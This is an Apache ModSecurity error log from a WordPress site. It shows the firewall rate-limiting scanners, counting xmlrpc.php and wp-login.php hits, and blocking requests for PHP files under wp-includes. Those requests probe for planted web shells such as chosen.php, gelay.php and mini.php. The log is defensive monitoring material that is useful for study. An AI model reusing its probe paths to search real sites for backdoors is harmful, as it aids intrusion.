[Tue Dec 23 22:30:17.213447 2025] [:error] [pid 54408:tid 54415] [client 4.247.164.181:23183] [client 4.247.164.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/post.php"] [unique_id "aUqneWup4YbWx_MWvp1qmwAAAoQ"]
[Tue Dec 23 22:30:19.854068 2025] [:error] [pid 54340:tid 54359] [client 4.247.164.181:6587] [client 4.247.164.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aUqne5ye8-oij4iGhog5DAAAAhE"]
[Tue Dec 23 22:30:21.489269 2025] [:error] [pid 3405:tid 3446] [client 4.247.164.181:6564] [client 4.247.164.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aUqnfbdHHpIDpQ39rwlgpgAAAAk"]
[Tue Dec 23 22:30:23.350105 2025] [:error] [pid 3404:tid 3421] [client 4.247.164.181:24570] [client 4.247.164.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aUqnf8JGbPWZNlrhVJdoaAAAAcw"]
[Tue Dec 23 22:30:24.890997 2025] [:error] [pid 54375:tid 54389] [client 4.247.164.181:7063] [client 4.247.164.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aUqngJ1Yro3O5R2WY-CEnAAAAkw"]
[Tue Dec 23 23:23:18.800373 2025] [:error] [pid 3405:tid 3449] [client 195.250.26.105:47610] [client 195.250.26.105] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.250.26.105, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUqz5rdHHpIDpQ39rwlwwgAAAAw"]
[Tue Dec 23 23:23:21.820017 2025] [:error] [pid 3406:tid 3474] [client 195.250.26.105:47612] [client 195.250.26.105] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.250.26.105, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUqz6fn8DLWxW7TPzpEBdgAAAEo"], referer: https://gigfragments.org/wp-login.php
[Wed Dec 24 00:10:32.937906 2025] [:error] [pid 17494:tid 17542] [client 77.55.253.213:35192] [client 77.55.253.213] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.55.253.213, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUq--KRJtN8zpyW4DmTtlwAAABI"]
[Wed Dec 24 01:55:35.221330 2025] [:error] [pid 10374:tid 10395] [client 152.53.125.212:35134] [client 152.53.125.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.53.125.212, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUrXl_geiZmmnSvZBQ1BEQAAANM"]
[Wed Dec 24 01:55:52.887412 2025] [:error] [pid 17591:tid 17601] [client 103.186.30.246:33348] [client 103.186.30.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.186.30.246, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUrXqJH0gxj6Q9MQR2IWpgAAAIc"]
[Wed Dec 24 01:55:56.148330 2025] [:error] [pid 17493:tid 17498] [client 185.88.152.215:48808] [client 185.88.152.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.88.152.215, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUrXrCaAz9_qXyVO9KNzFQAAAcE"]
[Wed Dec 24 01:56:01.950172 2025] [:error] [pid 10374:tid 10386] [client 182.42.104.32:47286] [client 182.42.104.32] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aUrXsfgeiZmmnSvZBQ1BKAAAAMo"]
[Wed Dec 24 01:56:05.983051 2025] [:error] [pid 10374:tid 10393] [client 119.59.120.42:60484] [client 119.59.120.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 119.59.120.42, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUrXtfgeiZmmnSvZBQ1BKwAAANE"]
[Wed Dec 24 01:56:42.107262 2025] [:error] [pid 17591:tid 17615] [client 195.250.26.105:48984] [client 195.250.26.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 195.250.26.105, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUrX2pH0gxj6Q9MQR2IW7AAAAJU"]
[Wed Dec 24 02:49:30.785651 2025] [:error] [pid 17494:tid 17547] [client 52.175.53.247:56702] [client 52.175.53.247] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.175.53.247, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUrkOqRJtN8zpyW4DmQbxgAAABc"], referer: https://www.google.com/
[Wed Dec 24 02:49:50.941636 2025] [:error] [pid 10374:tid 10392] [client 52.175.53.247:58113] [client 52.175.53.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/4.php"] [unique_id "aUrkTvgeiZmmnSvZBQ1T0gAAANA"], referer: https://www.google.fr/
[Wed Dec 24 02:49:51.259278 2025] [:error] [pid 17495:tid 17572] [client 52.175.53.247:50220] [client 52.175.53.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/chosen.php"] [unique_id "aUrkTyX1bYzs2kDzvLXV8AAAAFU"], referer: https://www.google.fr/
[Wed Dec 24 02:49:51.494958 2025] [:error] [pid 17591:tid 17605] [client 52.175.53.247:57770] [client 52.175.53.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aUrkT5H0gxj6Q9MQR2IvFAAAAIs"], referer: https://www.google.co.uk/
[Wed Dec 24 02:49:51.763280 2025] [:error] [pid 17493:tid 17497] [client 52.175.53.247:58125] [client 52.175.53.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/edit.php"] [unique_id "aUrkTyaAz9_qXyVO9KOBNQAAAcA"], referer: https://www.google.com/
[Wed Dec 24 02:49:52.001817 2025] [:error] [pid 17591:tid 17604] [client 52.175.53.247:57755] [client 52.175.53.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/gelay.php"] [unique_id "aUrkUJH0gxj6Q9MQR2IvFQAAAIo"], referer: https://www.google.fr/
[Wed Dec 24 02:49:52.237683 2025] [:error] [pid 17493:tid 17511] [client 52.175.53.247:50907] [client 52.175.53.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/crop/cropper.php"] [unique_id "aUrkUCaAz9_qXyVO9KOBNgAAAc4"], referer: https://www.bing.com/
[Wed Dec 24 02:49:52.487113 2025] [:error] [pid 10374:tid 10386] [client 52.175.53.247:57735] [client 52.175.53.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/thickbox/thickbox.php"] [unique_id "aUrkUPgeiZmmnSvZBQ1T1QAAAMo"], referer: https://www.google.co.uk/
[Wed Dec 24 02:49:52.720625 2025] [:error] [pid 17591:tid 17602] [client 52.175.53.247:56662] [client 52.175.53.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/plugins/compat3x/about.php"] [unique_id "aUrkUJH0gxj6Q9MQR2IvGQAAAIg"], referer: https://www.google.fr/
[Wed Dec 24 02:49:52.957690 2025] [:error] [pid 17591:tid 17617] [client 52.175.53.247:50914] [client 52.175.53.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/mini.php"] [unique_id "aUrkUJH0gxj6Q9MQR2IvGwAAAJc"], referer: https://www.google.de/
[Wed Dec 24 03:52:20.303184 2025] [:error] [pid 16550:tid 16559] [client 130.193.9.44:35666] [client 130.193.9.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 130.193.9.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUry9KYYcdD-LuO7vrDZwAAAAMc"]
[Wed Dec 24 03:52:31.500824 2025] [:error] [pid 16468:tid 16524] [client 172.205.24.224:3200] [client 172.205.24.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.205.24.224, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUry_4dyfuSTFLkCbP-jpgAAAIA"]
[Wed Dec 24 03:53:00.794646 2025] [:error] [pid 16468:tid 16529] [client 45.159.149.101:59848] [client 45.159.149.101] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.159.149.101, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUrzHIdyfuSTFLkCbP-jvwAAAIU"]
[Wed Dec 24 05:32:27.569740 2025] [:error] [pid 54139:tid 54157] [client 119.59.120.42:38646] [client 119.59.120.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 119.59.120.42, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUsKa8rYCZenIDzgXuJvowAAARA"]
[Wed Dec 24 05:32:33.271324 2025] [:error] [pid 16467:tid 16521] [client 34.171.105.96:45074] [client 34.171.105.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.171.105.96, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUsKcY0TJMcBxX5slgp_ZgAAAFg"]
[Wed Dec 24 05:32:41.813905 2025] [:error] [pid 16467:tid 16512] [client 171.22.25.25:52260] [client 171.22.25.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 171.22.25.25, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUsKeY0TJMcBxX5slgp_cQAAAE8"]
[Wed Dec 24 05:32:54.053328 2025] [:error] [pid 16550:tid 16575] [client 47.105.36.118:39186] [client 47.105.36.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.105.36.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUsKhqYYcdD-LuO7vrD4mAAAANc"]
[Wed Dec 24 05:33:00.666494 2025] [:error] [pid 16466:tid 16491] [client 123.56.164.51:33748] [client 123.56.164.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.56.164.51, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUsKjLu0JcuKJMjJn6xo4AAAABU"]
[Wed Dec 24 07:37:04.123661 2025] [:error] [pid 16468:tid 16533] [client 199.188.199.61:47880] [client 199.188.199.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 199.188.199.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUsnoIdyfuSTFLkCbP_eVwAAAIk"]
[Wed Dec 24 07:37:11.335337 2025] [:error] [pid 16468:tid 16530] [client 45.118.151.91:49341] [client 45.118.151.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.118.151.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUsnp4dyfuSTFLkCbP_eXQAAAIY"]
[Wed Dec 24 07:37:17.461364 2025] [:error] [pid 16550:tid 16572] [client 128.14.74.123:51210] [client 128.14.74.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.14.74.123, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUsnraYYcdD-LuO7vrAZUAAAANQ"]
[Wed Dec 24 07:37:24.651286 2025] [:error] [pid 16467:tid 16498] [client 212.227.215.170:57328] [client 212.227.215.170] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.227.215.170, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUsntI0TJMcBxX5slgqcMQAAAEE"]
[Wed Dec 24 07:58:30.052413 2025] [:error] [pid 54139:tid 54147] [client 89.46.105.244:33852] [client 89.46.105.244] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.46.105.244, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUsspsrYCZenIDzgXuKpnwAAAQY"]
[Wed Dec 24 07:58:31.884480 2025] [:error] [pid 54139:tid 54151] [client 89.46.105.244:33852] [client 89.46.105.244] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.46.105.244, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUssp8rYCZenIDzgXuKpoAAAAQo"], referer: https://gigfragments.org/wp-login.php
[Wed Dec 24 09:22:58.928354 2025] [:error] [pid 54139:tid 54164] [client 216.250.12.125:34752] [client 216.250.12.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 216.250.12.125, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUtAcsrYCZenIDzgXuLL6wAAARc"]
[Wed Dec 24 09:23:07.208654 2025] [:error] [pid 54139:tid 54165] [client 34.100.253.245:35162] [client 34.100.253.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.100.253.245, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUtAe8rYCZenIDzgXuLMAgAAARg"]
[Wed Dec 24 09:23:11.979613 2025] [:error] [pid 16466:tid 16487] [client 62.72.44.70:57568] [client 62.72.44.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.72.44.70, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUtAf7u0JcuKJMjJn6ydqQAAABE"]
[Wed Dec 24 09:23:15.324624 2025] [:error] [pid 16466:tid 16471] [client 220.158.233.76:64952] [client 220.158.233.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 220.158.233.76, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUtAg7u0JcuKJMjJn6yeJgAAAAE"]
[Wed Dec 24 09:23:21.165496 2025] [:error] [pid 54139:tid 54152] [client 37.27.62.88:59194] [client 37.27.62.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.27.62.88, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUtAicrYCZenIDzgXuLMFQAAAQs"]
[Wed Dec 24 11:31:48.673915 2025] [:error] [pid 16466:tid 16484] [client 80.69.66.46:21946] [client 80.69.66.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 80.69.66.46, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUtepLu0JcuKJMjJn6zacQAAAA4"]
[Wed Dec 24 11:32:17.867197 2025] [:error] [pid 16550:tid 16561] [client 186.226.62.66:58256] [client 186.226.62.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 186.226.62.66, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUtewaYYcdD-LuO7vrCQAwAAAMk"]
[Wed Dec 24 11:32:25.870619 2025] [:error] [pid 28777:tid 28795] [client 39.108.188.68:60038] [client 39.108.188.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 39.108.188.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUteyZBVBcZ34cSqz8rgNwAAAZA"]
[Wed Dec 24 11:32:58.275279 2025] [:error] [pid 28405:tid 28422] [client 34.60.228.187:59116] [client 34.60.228.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.60.228.187, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUte6sKkTWlhmfdXFqYFIQAAAUw"]
[Wed Dec 24 12:16:51.329335 2025] [:error] [pid 16550:tid 16572] [client 167.71.193.139:47682] [client 167.71.193.139] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.71.193.139, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUtpM6YYcdD-LuO7vrCedAAAANQ"]
[Wed Dec 24 12:16:53.213221 2025] [:error] [pid 16550:tid 16555] [client 167.71.193.139:47682] [client 167.71.193.139] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.71.193.139, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUtpNaYYcdD-LuO7vrCedgAAAMM"], referer: https://gigfragments.org/wp-login.php
[Wed Dec 24 13:21:14.401739 2025] [:error] [pid 16466:tid 16481] [client 5.135.42.194:57786] [client 5.135.42.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.135.42.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUt4Sru0JcuKJMjJn6zr4gAAAAs"]
[Wed Dec 24 13:21:23.012680 2025] [:error] [pid 16550:tid 16553] [client 36.50.27.31:56536] [client 36.50.27.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.50.27.31, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUt4U6YYcdD-LuO7vrCqjQAAAME"]
[Wed Dec 24 13:21:38.897146 2025] [:error] [pid 54139:tid 54156] [client 178.162.196.118:39246] [client 178.162.196.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.162.196.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUt4YsrYCZenIDzgXuI5QwAAAQ8"]
[Wed Dec 24 13:21:59.027165 2025] [:error] [pid 16550:tid 16576] [client 35.239.129.49:60514] [client 35.239.129.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.239.129.49, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUt4d6YYcdD-LuO7vrCqxAAAANg"]
[Wed Dec 24 13:22:04.660957 2025] [:error] [pid 29371:tid 29394] [client 47.243.201.71:58046] [client 47.243.201.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.243.201.71, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUt4fHs-DlKLysSq5L9NzAAAAdU"]
[Wed Dec 24 13:22:19.949361 2025] [:error] [pid 16468:tid 16544] [client 101.46.58.127:39234] [client 101.46.58.127] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 101.46.58.127, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUt4i4dyfuSTFLkCbP9PugAAAJQ"]
